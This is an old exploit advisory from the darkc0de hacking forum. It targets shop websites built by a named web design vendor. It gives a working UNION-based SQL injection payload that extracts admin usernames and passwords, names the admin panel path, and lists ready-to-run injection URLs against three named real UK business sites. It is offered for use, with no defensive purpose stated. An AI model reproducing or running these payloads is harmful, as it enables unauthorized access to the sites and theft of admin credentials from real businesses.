antenna-sql.txt

`################################################################  
# .___ __ _______ .___ #  
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #  
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #  
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #  
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #  
# \/ \/ \/ #  
# ___________ ______ _ __ #  
# _/ ___\_ __ \_/ __ \ \/ \/ / #  
# \ \___| | \/\ ___/\ / #  
# \___ >__| \___ >\/\_/ #  
# est.2007 \/ \/ forum.darkc0de.com #  
################################################################  
# d3hydr8 - rsauron - baltazar - sinner_01 - r45c4l - beenu #  
# #  
# And all darkc0de.com members #  
# #  
################################################################  
#  
# Author: P47r1ck  
#  
# Home : www.darkc0de.com  
#  
# Email : P47r1ckro[at]gmail[dot]com  
#  
# Share the c0de!  
#  
################################################################  
#  
# Title: Website design by Antenna Web Services  
# Vendor: http://www.leicesterinternetservices.co.uk  
# Vendor's Portfolio:  
#  
# http://www.leicesterinternetservices.co.uk/portfolio.php  
#  
################################################################  
#  
# d0rk: N/A - Use your brain!  
#  
#  
################################################################  
#  
# Vulnerabilities  
#  
# Most of the pages are vulnerable to Blind SQLi and SQLi  
# The Columns/Tables are diferent from site to site .  
# Most common columns are 11 / 24 / 25 / 23  
#  
# Exploit:  
#  
#  
http://www.site.com/products.php?selcatid=25+AND+1=2+UNION+SELECT+0,concat_ws(char(58),uname,password),2,3,4,5,6,7,8,9,10,11+from+admin--  
#  
#  
# Admin Panel : www.site.com/admin  
#  
# EX:  
#  
#  
http://www.a1crafts.co.uk/productsdetail.php?selprodid=11260+AND+1=2+UNION+SELECT+0,1,2,concat_ws(char(58),uname,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+admin--  
#  
#  
http://www.somethingspecial-gifts.co.uk/productsdetail.php?selprodid=272+AND+1=2+UNION+SELECT+0,1,2,concat_ws(char(58),uname,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+admin--  
#  
#  
http://www.littletimbers.co.uk/products.php?selcatid=25+AND+1=2+UNION+SELECT+0,concat_ws(char(58),uname,password),2,3,4,5,6,7,8,9,10,11+from+admin--  
#  
#  
#  
################################################################  
#  
# Bug discovered : 06 Oct.2008  
################################################################  
`